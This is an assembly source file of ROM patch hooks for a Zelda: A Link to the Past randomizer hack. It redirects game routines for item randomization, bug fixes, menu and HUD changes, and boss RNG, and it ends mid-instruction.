(LDA $F6 : AND.b #$70) ;JSL.l ForceMapZoom ;-------------------------------------------------------------------------------- ;================================================================================ ; Zelda S&Q Mirror Fix ;-------------------------------------------------------------------------------- org $02D9A4 ; <- 159A4 - Bank02.asm : 11077 (dw $0000, $0002, $0002, $0032, $0004, $0006, $0030) dw $0000, $0002, $0004, $0032, $0004, $0006, $0030 ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Accessability ; ;-------------------------------------------------------------------------------- ; ;org $0AC574 ; <- 54574 - Bank0A.asm : 1797 (LDA $0D : STA $0802, X) ; ;JSL FlipGreenPendant ; ;NOP #6 ; ;-------------------------------------------------------------------------------- ; org $08AAE1 ; <- 42AE1 - ancilla_ether_spell.asm : 22 (LDA $031D : CMP.b #$0B) ; JSL.l SetEtherFlicker : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Ice Floor Toggle ;-------------------------------------------------------------------------------- org $07D234 ; <- 3D234 - Bank07.asm : 12758 (LDA $0348 : AND.b #$11 : BEQ .notWalkingOnIce) JSL.l LoadModifiedIceFloorValue_a11 : NOP ;-------------------------------------------------------------------------------- org $07D26E ; <- 3D26E - Bank07.asm : 12786 (LDA $0348 : AND.b #$01 : BNE BRANCH_RESH) JSL.l LoadModifiedIceFloorValue_a01 : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Sword Upgrade Randomization ;-------------------------------------------------------------------------------- ;org $06C9BC ; <- 349BC - sprite_ponds.asm : 1066 ;org $06C9C0 ; <- 349C0 - sprite_ponds.asm : 1068 ;org $06C926 ; <- 34926 - sprite_ponds.asm : 945 ;JML.l GetFairySword ;NOP #12 org $06C936 ; <- 34936 - sprite_ponds.asm : 952 PyramidFairy_BRANCH_IOTA: org $06C948 ; <- 34948 - sprite_ponds.asm : 961 PyramidFairy_BRANCH_GAMMA: ;-------------------------------------------------------------------------------- ;org $0EF7BD ; <- 777BD - sprite_ponds.asm : 1890 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles) ;JSL.l ReadInventoryPond ;org $0EF7E4 ; <- 777E4 - sprite_ponds.asm : 1922 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles) ;JSL.l ReadInventoryPond ;-------------------------------------------------------------------------------- org $1EE16E ; <- F616E - sprite_bomb_shop_entity.asm : 73 NOP #8 ; fix bomb shop dialog for dwarfless big bomb org $068A14 ; <- 30A14 - sprite_prep.asm : 716 NOP #8 ; fix bomb shop spawn for dwarfless big bomb ;-------------------------------------------------------------------------------- org $06B489 ; <- 33489 - sprite_smithy_bros.asm : 473 (LDA $7EF359 : CMP.b #$03 : BCS .tempered_sword_or_better) JML.l GetSmithSword NOP #4 Smithy_DoesntHaveSword: org $06B49D ; <- 3349D - sprite_smithy_bros.asm : 485 (.tempered_sword_or_better) Smithy_AlreadyGotSword: ;-------------------------------------------------------------------------------- org $06ED55 ; <- 36D55 - Bank06.asm : 4817 JSL.l LoadSwordForDamage ; moth gold sword fix ;-------------------------------------------------------------------------------- org $08C5F7 ; <- 445F7 - ancilla_receive_item.asm : 400 (LDA.b #$09 : STA $012D) NOP #5 ; remove spooky telepathy sound ;-------------------------------------------------------------------------------- ;org $1EE094 ; PC 0xF6094 - sprite_hylian_plaque.asm : 79 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogPedestal ;-------------------------------------------------------------------------------- org $08C431 ; <- 44431 - ancilla_receive_item.asm : 125 (LDA $0C5E, X : CMP.b #$01 : BNE .notMasterSword2) JSL.l MSMusicReset : NOP ;LDA $8A : CMP.b #$80 : NOP ; $22 = $0000 - $00FF - MS Pedestal ; $22 = $0100 - $00FF - Hobo ;-------------------------------------------------------------------------------- ;================================================================================ ; New Items ;-------------------------------------------------------------------------------- org $07B57B ; <- 3B57B - Bank07.asm : 8523 (BMI .cantOpen) NOP #2 ;-------------------------------------------------------------------------------- org $00D531 ; 5531 - Bank00.asm:3451 (LDY.b #$5D) JML.l GetAnimatedSpriteGfxFile org $00D547 ; 5547 - Bank00.asm:3467 (JSR Decomp_spr_high) GetAnimatedSpriteGfxFile_return: org $00D557 ; 5557 - Bank00.asm:3486 (LDA $00 : ADC $D469, X) JSL.l GetAnimatedSpriteBufferPointer NOP org $0799F7 ; 399F7 - Bank07.asm:4107 (JSL AddReceivedItem) JSL.l AddReceivedItemExpanded org $098611 ; 48611 - ancilla_init.asm:720 (LDA .item_target_addr+0, X) LDA.w AddReceivedItemExpanded_item_target_addr+0, X org $098616 ; 48616 - ancilla_init.asm:721 (LDA .item_target_addr+1, X) LDA.w AddReceivedItemExpanded_item_target_addr+1, X org $09861F ; 4861F - ancilla_init.asm:724 (LDA .item_values, Y) LDA.w AddReceivedItemExpanded_item_values, Y org $098627 ; 48627 - ancilla_init.asm:731 (LDA .item_target_addr+0, X) LDA.w AddReceivedItemExpanded_item_target_addr+0, X org $09862C ; 4862C - ancilla_init.asm:722 (LDA .item_target_addr+1, X) LDA.w AddReceivedItemExpanded_item_target_addr+1, X org $098635 ; 48635 - ancilla_init.asm:727 (LDA .item_values, Y) LDA.w AddReceivedItemExpanded_item_values, Y org $0986AA ; 486AA - ancilla_init.asm:848 (LDA .item_masks, X) LDA.w AddReceivedItemExpanded_item_masks, X org $098769 ; 48769 - ancilla_init.asm:1005 (LDA .item_graphics_indices, Y) LDA.w AddReceivedItemExpanded_item_graphics_indices, Y org $09884D ; 4884D - ancilla_init.asm:1137 (LDA $836C, Y) LDA.w AddReceivedItemExpanded_y_offsets, Y org $09885B ; 4885B - ancilla_init.asm:1139 (LDA .x_offsets, X) - I think the disassembly is wrong here, should have been LDA .x_offsets, Y LDA.w AddReceivedItemExpanded_x_offsets, Y org $0988B7 ; 488B7 - ancilla_init.asm:1199 (LDA .wide_item_flag, Y) LDA.w AddReceivedItemExpanded_wide_item_flag, Y org $0988EF ; 488EF - ancilla_init.asm:1248 (LDA $836C, Y) LDA.w AddReceivedItemExpanded_y_offsets, Y org $098908 ; 48908 - ancilla_init.asm:1258 (LDA .x_offsets, Y) LDA.w AddReceivedItemExpanded_x_offsets, Y org $08C6C8 ; 446C8 - ancilla_receive_item.asm:538 (LDA AddReceiveItem.properties, X) LDA.l AddReceivedItemExpanded_properties, X org $00C6F9 ; 446F9 - ancilla_receive_item.asm:570 (LDA AddReceiveItem.properties, X) LDA.l AddReceivedItemExpanded_properties, X org $08C6DE ; 446DE - ancilla_receive_item.asm:550 (LDA .wide_item_flag, X) LDA.l AddReceivedItemExpanded_wide_item_flag, X org $0985ED ; 485ED - ancilla_init.asm:693 (LDA $02E9 : CMP.b #$01) JSL.l AddReceivedItemExpandedGetItem NOP org $07B57D ; 3B57D - Bank07.asm:8527 (LDA Link_ReceiveItemAlternates, Y : STA $03) JSL.l Link_ReceiveItemAlternatesExpanded_loadAlternate NOP ;-------------------------------------------------------------------------------- org $09892E ; 4892E - ancilla_init.asm:1307 (LDA BottleList, X) LDA.w BottleListExpanded, X org $09895C ; 4895C - ancilla_init.asm:1344 (LDA PotionList, X) LDA.w PotionListExpanded, X ;-------------------------------------------------------------------------------- ;org $098A36 ; <- 48A36 - ancilla_init.asm:1432 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72) ;LDA AddReceivedItemExpanded_item_graphics_indices, Y ;-------------------------------------------------------------------------------- org $06D1EB ; 351EB - sprite_absorbable.asm:364 (STA $7EF375) ; bugbug commented out until i figure out why it doesn't work JSL HandleBombAbsorbtion ;-------------------------------------------------------------------------------- ;org $09873F ; <- 04873F - ancilla_init.asm : 960 (ADC [$00] : STA [$00] ) ;JSL.l AddToStock ;-------------------------------------------------------------------------------- ;================================================================================ ; Kholdstare Shell Fix ;-------------------------------------------------------------------------------- org $00EC88 ; <- 6C88 - Bank00.asm:6671 - (LDA $7EC380, X : STA $7EC580, X) LDA $7EC3A0, X : STA $7EC5A0, X ;-------------------------------------------------------------------------------- org $00ECEB ; <- 6CEB - Bank00.asm:6730 - (LDX.w #$0080) LDX.w #$00A0 LDA.w #$00B0 ;-------------------------------------------------------------------------------- ;================================================================================ ; Potion Refill Fixes ;-------------------------------------------------------------------------------- ;org $0DF1B3 ; <- 6F1B3 - headsup_display.asm:492 - (SEP #$30) ;JSL.l RefillMagic ;RTL ;-------------------------------------------------------------------------------- ;org $0DF128 ; <- 6F128 - headsup_display.asm:407 - (LDA $7EF36D : CMP $7EF36C : BCC .refillAllHealth) ;JSL.l RefillHealth ;RTL ;-------------------------------------------------------------------------------- org $00F8FB ; <- 78FB - Bank00.asm:8507 - (JSL HUD.RefillHealth : BCC BRANCH_ALPHA) JSL.l RefillHealth ;-------------------------------------------------------------------------------- org $00F911 ; <- 7911 - Bank00.asm:8528 - (JSL HUD.RefillMagicPower : BCS BRANCH_$7901) JSL.l RefillMagic ;-------------------------------------------------------------------------------- org $00F918 ; <- 7918 - Bank00.asm:8537 - (JSL HUD.RefillHealth : BCC .alpha) JSL.l RefillHealth ;-------------------------------------------------------------------------------- org $00F922 ; <- 7922 - Bank00.asm:8543 - (JSL HUD.RefillMagicPower : BCC .beta) JSL.l RefillMagic ;-------------------------------------------------------------------------------- ;================================================================================ ; Early Bottle Fix ;-------------------------------------------------------------------------------- org $09894C ; <- 4894C - ancilla_init.asm:1327 JSL.l InitializeBottles ;-------------------------------------------------------------------------------- ;================================================================================ ; Agahnim Doors Fix ;-------------------------------------------------------------------------------- org $1BBC94 ; <- DBC94 - Bank1B.asm : 201 (LDA $7EF3C5 : AND.w #$000F : CMP.w #$0003 : BCS BRANCH_EPSILON) JSL.l LockAgahnimDoors : BNE Overworld_Entrance_BRANCH_EPSILON : NOP #6 org $1BBCC1 ; <- DBCC1 - Bank1B.asm : 223 (LDA $0F8004, X : AND.w #$01FF : STA $00) Overworld_Entrance_BRANCH_EPSILON: ; go here to lock doors ;-------------------------------------------------------------------------------- ; -- HOOK THIS LATER TO FUCK WITH BOSS DROPS -- org $01C73E ; <- C73E - Bank01.asm : 10377 (LDA $01C6FC, X : JSL Sprite_SpawnFallingItem) JSL.l DropSafeDungeon NOP #4 ;-------------------------------------------------------------------------------- ;================================================================================ ; Uncle / Sage Fixes - Old Man Fixes - Link's House Fixes ;-------------------------------------------------------------------------------- org $05DA4F ; <- 2DA4F - sprite_uncle_and_priest.asm : 45 (BCC .agahnim_not_defeated) db 80 ; BRA ;-------------------------------------------------------------------------------- org $05DA61 ; <- 2DA61 - sprite_uncle_and_priest.asm : 51 (BEQ .priest_not_already_dead) db 80 ; BRA ;-------------------------------------------------------------------------------- org $05DA81 ; <- 2DA81 - sprite_uncle_and_priest.asm : 65 (BCC .dontHaveMasterSword) db 80 ; BRA ;-------------------------------------------------------------------------------- ;org $05DE1D ; <- 2DE1D - sprite_uncle_and_priest.asm : 725 (LDA.b #$A0 : STA $7EF372) ;JSL.l RefillHealthPlusMagic8bit ;NOP #2 ;-------------------------------------------------------------------------------- org $05DEF8 ; <- 2DEF8 - sprite_uncle_and_priest.asm : 917 (LDA.b #$05) LDA.b #$00 ;-------------------------------------------------------------------------------- org $05DE6A ; <- 2DE6A - sprite_uncle_and_priest.asm : 796 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ; org $05DE9E ; <- 2DE9E - sprite_uncle_and_priest.asm : 845 (JSL Sprite_ShowMessageUnconditional) ; JSL.l DialogUncle ;-------------------------------------------------------------------------------- ;org $1EEAB6 ; <- F6AB6 - sprite_old_mountain_man.asm : 338 (LDA.b #$A0 : STA $7EF372) ;JSL.l RefillHealthPlusMagic8bit ;NOP #2 ;-------------------------------------------------------------------------------- ;org $01E5B2 ; <- E5B8 - lower pot link's house ;db $14 ; fairy ;org $01E5B5 ; <- E5B8 - lower pot link's house ;db $14 ; fairy ;org $01E5B8 ; <- E5B8 - lower pot link's house ;db $0D ; big magic ;-------------------------------------------------------------------------------- ;================================================================================ ; Ganon's Tower Basement Door Fix ;-------------------------------------------------------------------------------- ;org $1FF3F4 ; <- 0FF3F4 ;db $00 ;-------------------------------------------------------------------------------- ; Misery Mire Basement Door Fix ;-------------------------------------------------------------------------------- ;org $1FB8E4 ; <- 0FB8E4 ;db $00 ;-------------------------------------------------------------------------------- ;0xFE465 -> 0x1E org $1FE465 db #$1E ;-------------------------------------------------------------------------------- ;================================================================================ ; Bomb & Arrow Capacity Updates ;-------------------------------------------------------------------------------- org $0DDC27 ; <- 6DC27 - headsup_display.asm:151 (LDA $7EF370 : TAY) JSL.l IncrementBombs NOP #15 ;-------------------------------------------------------------------------------- org $0DDC49 ; <- 6DC49 - headsup_display.asm:169 (LDA $7EF371 : TAY) JSL.l IncrementArrows NOP #15 ;-------------------------------------------------------------------------------- org $1EE199 ; <- F6199 - sprite_bomb_shop_entity.asm:102 (LDA $7EF370 : PHX : TAX) JSL.l CompareBombsToMax NOP #11 ;-------------------------------------------------------------------------------- ;================================================================================ ; Bonk Items ;-------------------------------------------------------------------------------- org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F) JSL.l GiveBonkItem : NOP #5 org $05FC97 ; <- 2FC97 - sprite_dash_item.asm : 126 (LDA.b #$2F : JSL Sound_SetSfx3PanLong) NOP #6 ;-------------------------------------------------------------------------------- org $068D39 ; <- 30D39 - sprite_prep.asm : 1435 - (LDA.b #$08 : STA $0F50, X) JSL.l LoadBonkItemGFX ;-------------------------------------------------------------------------------- org $05FC04 ; <- 2FC04 - sprite_dash_item.asm : 38 - (JSL DashKey_Draw) JSL.l DrawBonkItemGFX ;-------------------------------------------------------------------------------- ;================================================================================ ; Library Item ;-------------------------------------------------------------------------------- org $05FD44 ; <- 2FD44 - sprite_dash_item.asm : 244 - (JSL Link_ReceiveItem) JSL.l SetLibraryItem ;-------------------------------------------------------------------------------- org $068D1B ; <- 30D1B - sprite_prep.asm : 1414 - (JSL GetAnimatedSpriteTile.variable) JSL.l LoadLibraryItemGFX ;-------------------------------------------------------------------------------- org $05FC9E ; <- 2FC9E - sprite_dash_item.asm : 138 - (JSL Sprite_PrepAndDrawSingleLargeLong) JSL.l DrawLibraryItemGFX ;-------------------------------------------------------------------------------- org $068D0E ; <- 30D0E - sprite_prep.asm : 1401 - (LDA $7EF34E : BEQ .book_of_mudora) JSL.l ItemCheck_Library ;-------------------------------------------------------------------------------- ;================================================================================ ; Inventory Updates ;-------------------------------------------------------------------------------- org $0DDF38 ; <- 6DF38 - equipment.asm : 480 JSL.l ProcessMenuButtons BCC _equipment_497 JMP.w _equipment_544 ;NOP #7 ResetEquipment: JSR.w RestoreNormalMenu ; (short) RTL NOP #3 warnpc $0DDF49 org $0DDF49 ; <- 6DF49 - equipment.asm : 497 _equipment_497: ; LDA $F4 : AND.b #$08 : BEQ .notPressingUp - NO BUTTON CAPTURE ;org $0DDF7E ; <- 6DF7E - equipment.asm : 539 org $0DDF88 ; <- 6DF88 - equipment.asm : 544 ;org $0DE10E ; <- 6E10E - equipment.asm : 806 _equipment_544: ;-------------------------------------------------------------------------------- org $0DEB98 ; <- 6EB98 - equipment.asm : 1803 ;LDA.w #$3C60 : STA $FFBE, Y ;ORA.w #$4000 : STA $FFC4, Y ;ORA.w #$8000 : STA $0084, Y ;EOR.w #$4000 : STA $007E, Y LDA.w #$3C60 : STA $FFBE, Y ORA.w #$8000 : STA $007E, Y ORA.w #$4000 : STA $0084, Y JSL.l AddYMarker NOP #2 ;-------------------------------------------------------------------------------- org $0DF789+6 ; <- 6F789+6 (not in disassembly) - red bottle hud tile, lower right dw #$2413 ; (Orig: #$24E3) org $0DF789+6+8 ; green bottle hud tile, lower right dw #$3C12 ; (Orig: #$3CE3) org $0DF789+6+16 ; blue bottle hud tile, lower right dw #$2C14 ; (Orig: #$2CD2) org $0DF789+6+40 ; good bee hud tile, lower right dw #$2815 ; (Orig: #$283A) ;-------------------------------------------------------------------------------- ;org $0DDE9B ; <- 6DE9B equipment.asm:296 - LDA $0202 : CMP.b #$10 : BNE .notOnBottleMenu (CMP instruction) ;CMP.b #$FF ;-------------------------------------------------------------------------------- org $0DDE9F ; <- 6DE9F equipment.asm:300 - LDA.b #$0A : STA $0200 LDA.b #$04 ;-------------------------------------------------------------------------------- org $0DDE59 ; <- 6DE59 equipment.asm:247 - REP #$20 JSL.l BringMenuDownEnhanced : RTS ;-------------------------------------------------------------------------------- org $0DDFBC ; <- 6DFBC equipment.asm:599 - LDA $EA : ADD.w #$0008 : STA $EA : SEP #$20 : BNE .notDoneScrolling JSL.l RaiseHudMenu : NOP #3 ;-------------------------------------------------------------------------------- org $0DDE3D ; <- 6DE3D equipment.asm:217 - BNE .equippedItemIsntBottle db $80 ; BRA ;-------------------------------------------------------------------------------- org $0DE12D ; <- 6E12D - equipment.asm : 828 JSL.l ProcessBottleMenu ;-------------------------------------------------------------------------------- org $0DDF9A ; <- 6DF9A - equipment.asm : 554 JSL.l OpenBottleMenu NOP ;-------------------------------------------------------------------------------- org $0DE12D ; <- 6E12D - equipment.asm : 828 JSL.l CloseBottleMenu ;-------------------------------------------------------------------------------- org $0DDF1E ; <- 6DF1E - equipment.asm : 462 - LDA $F4 : AND.b #$10 : BEQ .dontLeaveMenu JSL.l CheckCloseItemMenu ;-------------------------------------------------------------------------------- org $0DEE70 ; <- 6EE70 - equipment.asm : 2137 JSL.l PrepItemScreenBigKey NOP ;-------------------------------------------------------------------------------- org $08D395 ; <- 45395 - ancilla_bird_travel_intro.asm : 253 JSL.l UpgradeFlute NOP #2 ;-------------------------------------------------------------------------------- org $05E4D7 ; <- 2E4D7 - sprite_witch.asm : 213 JSL.l RemoveMushroom NOP #2 ;-------------------------------------------------------------------------------- org $05F55F ; <- 2F55F - sprite_potion_shop.asm : 59 JSL.l LoadPowder ;-------------------------------------------------------------------------------- org $05F681 ; <- 2F681 - sprite_potion_shop.asm : 234 JSL.l DrawPowder RTS NOP #8 ;-------------------------------------------------------------------------------- org $05F65D ; <- 2F65D - sprite_potion_shop.asm : 198 JSL.l CollectPowder NOP #5 ;-------------------------------------------------------------------------------- org $05EE5F ; <- 2EE5F - sprite_mushroom.asm : 30 JSL.l LoadMushroom NOP ;-------------------------------------------------------------------------------- org $05EE78 ; <- 2EE78 - sprite_mushroom.asm : 58 JSL.l DrawMushroom ;-------------------------------------------------------------------------------- org $05EE97 ; <- 2EE97 - sprite_mushroom.asm : 81 NOP #14 ;-------------------------------------------------------------------------------- org $07A36F ; <- 3A36F - Bank07.asm : 5679 NOP #5 org $07A379 ; <- 3A379 - Bank07.asm : 5687 JSL.l SpawnHauntedGroveItem ;-------------------------------------------------------------------------------- org $07A303 ; 3A303 - Bank07.asm : 5622 ;JSL.l FixShovelLock ;-------------------------------------------------------------------------------- org $07A3A2 ; 3A3A2 - Bank07.asm : 5720 - JSL DiggingGameGuy_AttemptPrizeSpawn JSL.l SpawnShovelItem BRA _Bank07_5726 org $07A3AB ; 3A3AB - Bank07.asm : 5726 - LDA.b #$12 : JSR Player_DoSfx2 _Bank07_5726: ;org $07A381 ; 3A381 - Bank07.asm : 5693 - ORA $035B ;ORA $035B ;-------------------------------------------------------------------------------- org $079A0E ; 39A0E - Bank07.asm : 4117 - JSL HUD.RefreshIconLong JSL.l Link_ReceiveItem_HUDRefresh ;-------------------------------------------------------------------------------- org $08C6F9 ; 446F9 - ancilla_receive_item.asm : 538 - (LDA AddReceiveItem.properties, X : BPL .valid_upper_properties) LDA AddReceivedItemExpanded_properties, X ;-------------------------------------------------------------------------------- org $08C70F ; 4470F - ancilla_receive_item.asm : 550 - (LDA .wide_item_flag, X : STA ($92), Y ; AddReceiveItem.wide_item_flag? ; LDA.b #$00 : STA ($92), Y in the japanese version) JML.l LoadNarrowObject NOP LoadNarrowObjectReturn: ;-------------------------------------------------------------------------------- ;================================================================================ ; Swordless Mode ;-------------------------------------------------------------------------------- org $07A49F ; <- 3A49F - Bank07.asm:5903 (LDA $7EF359 : INC A : AND.b #$FE : BEQ .cant_cast_play_sound) - Ether JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $07A574 ; <- 3A574 - Bank07.asm:6025 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Bombos JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $07A656 ; <- 3A656 - Bank07.asm:6133 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Quake JSL.l CheckMedallionSword ;-------------------------------------------------------------------------------- org $05F3A0 ; <- 2F3A0 - sprite_medallion_tablet.asm:240 (LDA $7EF359 : BMI .zeta) JSL.l CheckTabletSword ;-------------------------------------------------------------------------------- org $05F40A ; <- 2F40A - sprite_medallion_tablet.asm:303 (LDA $7EF359 : BMI .show_hylian_script) JSL.l CheckTabletSword ;-------------------------------------------------------------------------------- ;================================================================================ ; Medallion Tablets ;-------------------------------------------------------------------------------- org $05F274 ; <- 2F274 JSL.l ItemCheck_BombosTablet ;-------------------------------------------------------------------------------- org $05F285 ; <- 2F285 JSL.l ItemCheck_EtherTablet ;-------------------------------------------------------------------------------- ;org $098BCC ; <- 48BCC - ancilla_init.asm : 1679 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72) ;;JSL.l SetTabletItem ;JSL SpawnTabletItem : PLX : PLB : RTL ;-------------------------------------------------------------------------------- org $07859F ; <- 3859F - Bank07.asm : 965 (JSL AddPendantOrCrystal) JSL SpawnTabletItem org $07862A ; <- 3862A - Bank07.asm : 1064 (JSL AddPendantOrCrystal) JSL SpawnTabletItem ;-------------------------------------------------------------------------------- ;================================================================================ ; Medallion Entrances ;-------------------------------------------------------------------------------- org $08B504 ; <- 43504 - ancilla_bombos_spell.asm : 671 JSL.l MedallionTrigger_Bombos NOP ;-------------------------------------------------------------------------------- org $08ACC8 ; <- 42CC8 - ancilla_ether_spell.asm : 350 JSL.l MedallionTrigger_Ether JMP _ancilla_ether_spell_363 warnpc $08ACE6 org $08ACE6 ; <- 42CE6 - ancilla_quake_spell.asm : 363 _ancilla_ether_spell_363: ;-------------------------------------------------------------------------------- org $08B6EA ; <- 436EA - ancilla_quake_spell.asm : 67 JSL.l MedallionTrigger_Quake JMP _ancilla_quake_spell_83 Ancilla_CheckIfEntranceTriggered: JSR $F856 RTL warnpc $08B708 org $08B708 ; <- 43708 - ancilla_quake_spell.asm : 83 _ancilla_quake_spell_83: ;-------------------------------------------------------------------------------- ;================================================================================ ; Big & Great Fairies ;-------------------------------------------------------------------------------- org $1DC475 ; <- EC475 - sprite_big_fairie.asm : 70 (LDA.w #$00A0 : ADD $7EF372 : STA $7EF372) JSL.l RefillHealthPlusMagic NOP #8 org $1DC489 ; <- EC489 - sprite_big_fairie.asm : 88 (LDA $7EF36D : CMP $7EF36C : BNE .player_hp_not_full_yet) NOP #4 JSL.l CheckFullHealth ;-------------------------------------------------------------------------------- ;================================================================================ ; RNG Fixes ;-------------------------------------------------------------------------------- org $1DFD9E ; <- EFD9E - sprite_diggin_guy.asm : 307 NOP #8 ;-------------------------------------------------------------------------------- org $1DFD67 ; <- EFD67 - sprite_diggin_guy.asm : 242 JSL.l RigDigRNG ;-------------------------------------------------------------------------------- org $01EE94 ; <- EE94 - Bank01.asm : 14121 JSL.l RigChestRNG ; ;-------------------------------------------------------------------------------- ; org $1ED63E ; <- F563E - sprite_agahnim.asm ; JSL RNG_Agahnim1 ; org $1ED6EF ; <- F56EF - sprite_agahnim.asm ; JSL RNG_Agahnim1 ; org $1D91E3 ; <- E91E3 - sprite_ganon.asm ; JSL RNG_Ganon_Extra_Warp ; org $1D9488 ; <- E9488 - sprite_ganon.asm ; JSL RNG_Ganon ; ;-------------------------------------------------------------------------------- ; ;org $01EDB2 ; <- EDB2 - Bank01.asm : 14038 ; ;INC $04C4 ; ;-------------------------------------------------------------------------------- ; org $05A3F4 ; <- 2A3F4 - sprite_lanmola.asm : 112 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A401 ; <- 2A401 - sprite_lanmola.asm : 116 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A4FA ; <- 2A4FA - sprite_lanmola.asm : 241 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; org $05A507 ; <- 2A507 - sprite_lanmola.asm : 245 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Lanmolas1 ; ;-------------------------------------------------------------------------------- ; org $1DD817 ; <- ED817 - sprite_giant_moldorm.asm : 187 (JSL GetRandomInt : AND.b #$02 : DEC A : STA $0EB0, X) ; JSL.l RNG_Moldorm1 ; org $1DD821 ; <- ED821 - sprite_giant_moldorm.asm : 189 (JSL GetRandomInt : AND.b #$1F : ADC.b #$20 : STA !timer_0, X) ; JSL.l RNG_Moldorm1 ; org $1DD832 ; <- ED832 - sprite_giant_moldorm.asm : 203 (JSL GetRandomInt : AND.b #$0F : ADC.b #$08 : STA !timer_0, X) ; JSL.l RNG_Moldorm1 ; ;-------------------------------------------------------------------------------- ; org $1E81A9 ; <- F01A9 - sprite_helmasaur_king.asm : 247 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Helmasaur ; org $1E8262 ; <- F0262 - sprite_helmasaur_king.asm : 373 (JSL GetRandomInt : AND.b #$01 : BEQ BRANCH_BETA) ; JSL.l RNG_Helmasaur ; org $1DEEE1 ; <- EEEE1 - sprite_helmasaur_fireball.asm : 236 (JSL GetRandomInt : STA $0FB6) ; JSL.l RNG_Helmasaur ; ;-------------------------------------------------------------------------------- ; org $1EB5F7 ; <- F35F7 - sprite_arrghus.asm : 328 (JSL GetRandomInt : AND.b #$3F : ADC.b #$30 : STA $0DF0, X) ; JSL.l RNG_Arrghus ; ;-------------------------------------------------------------------------------- ; org $1EBF4D ; <- F3F4D - sprite_mothula.asm : 180 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Mothula ; org $1EBF60 ; <- F3F60 - sprite_mothula.asm : 187 (JSL GetRandomInt : AND.b #$1F : ADC.b #$40 : STA $0DF0, X) ; JSL.l RNG_Mothula ; org $1EBFBE ; <- F3FBE - sprite_mothula.asm : 261 (JSL GetRandomInt : AND.b #$1F : ORA.b #$40 : STA !beam_timer, X) ; JSL.l RNG_Mothula ; org $1EC095 ; <- F4095 - sprite_mothula.asm : 373 (JSL GetRandomInt : AND.b #$1F : CMP #$1E : BCC .already_in_range) ; JSL.l RNG_Mothula ; ;-------------------------------------------------------------------------------- ; org $1E957A ; <- F157A - sprite_kholdstare.asm : 209 (JSL GetRandomInt : AND.b #$3F : ADC.b #$20 : STA $0DF0, X) ; JSL.l RNG_Kholdstare ; org $1E95F0 ; <- F15F0 - sprite_kholdstare.asm : 289 (JSL GetRandomInt : AND.b #$3F : ADC.b #$60 : STA $0DF0, X) ; JSL.l RNG_Kholdstare ; org $1E95FB ; <- F15FB - sprite_kholdstare.asm : 291 (JSL GetRandomInt : PHA : AND.b #$03 : TAY) ; JSL.l RNG_Kholdstare ; org $1E96C9 ; <- F16C9 - sprite_kholdstare.asm : 453 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Kholdstare ; org $1E96E5 ; <- F16E5 - sprite_kholdstare.asm : 458 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Kholdstare ; org $1E97D5 ; <- F17D5 - sprite_kholdstare.asm : 605 (JSL GetRandomInt : AND.b #$04 : STA $0D) ; JSL.l RNG_Kholdstare ; ;-------------------------------------------------------------------------------- ; org $1DE5E4 ; <- EE5E4 - sprite_vitreous.asm : 207 (JSL GetRandomInt : AND.b #$0F : TAY) ; JSL.l RNG_Vitreous ; org $1DE626 ; <- EE626 - sprite_vitreous.asm : 255 (JSL GetRandomInt : AND.b #$07 : STA $0D90, Y) ; JSL.l RNG_Vitreous ; ;-------------------------------------------------------------------------------- ; org $1DB16C ; <- EB16C - sprite_trinexx.asm : 530 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Trinexx ; org $1DB186 ; <- EB186 - sprite_trinexx.asm : 535 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Trinexx ; org $1DB25E ; <- EB25E - sprite_trinexx.asm : 643 (JSL GetRandomInt : AND.b #$03 : TAY : CMP $00 : BEQ BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DB28D ; <- EB28D - sprite_trinexx.asm : 661 (JSL GetRandomInt : AND.b #$03 : CMP.b #$01 : TYA : BCS BRANCH_GAMMA) ; JSL.l RNG_Trinexx ; org $1DB9B0 ; <- EB9B0 - sprite_sidenexx.asm : 165 (JSL GetRandomInt : AND.b #$07 : INC A : CMP.b #$05 : BCS BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DB9CC ; <- EB9CC - sprite_sidenexx.asm : 175 (JSL GetRandomInt : LSR A : BCS BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DBA5D ; <- EBA5D - sprite_sidenexx.asm : 270 (JSL GetRandomInt : AND.b #$0F : STA $0DF0, X) ; JSL.l RNG_Trinexx ; org $1DBAB1 ; <- EBAB1 - sprite_sidenexx.asm : 314 (JSL GetRandomInt : AND.b #$0F : LDY.b #$00 : SUB.b #$03) ; JSL.l RNG_Trinexx ; org $1DBAC3 ; <- EBAC3 - sprite_sidenexx.asm : 323 (JSL GetRandomInt : AND.b #$0F : ADD.b #$0C : STA $02 : STZ $03) ; JSL.l RNG_Trinexx ;================================================================================ ; HUD Changes ;-------------------------------------------------------------------------------- org $0DFC77 ; <- 6FC77 - headsup_display.asm : 845 NOP #$2D ; #45 org $0DFC77 ; <- 6FC77 - yes these are both the correct address - kkat JSL.l OnDrawHud BRA $27 org $0DFCB8 ; <- 6FCB8 JSL.l 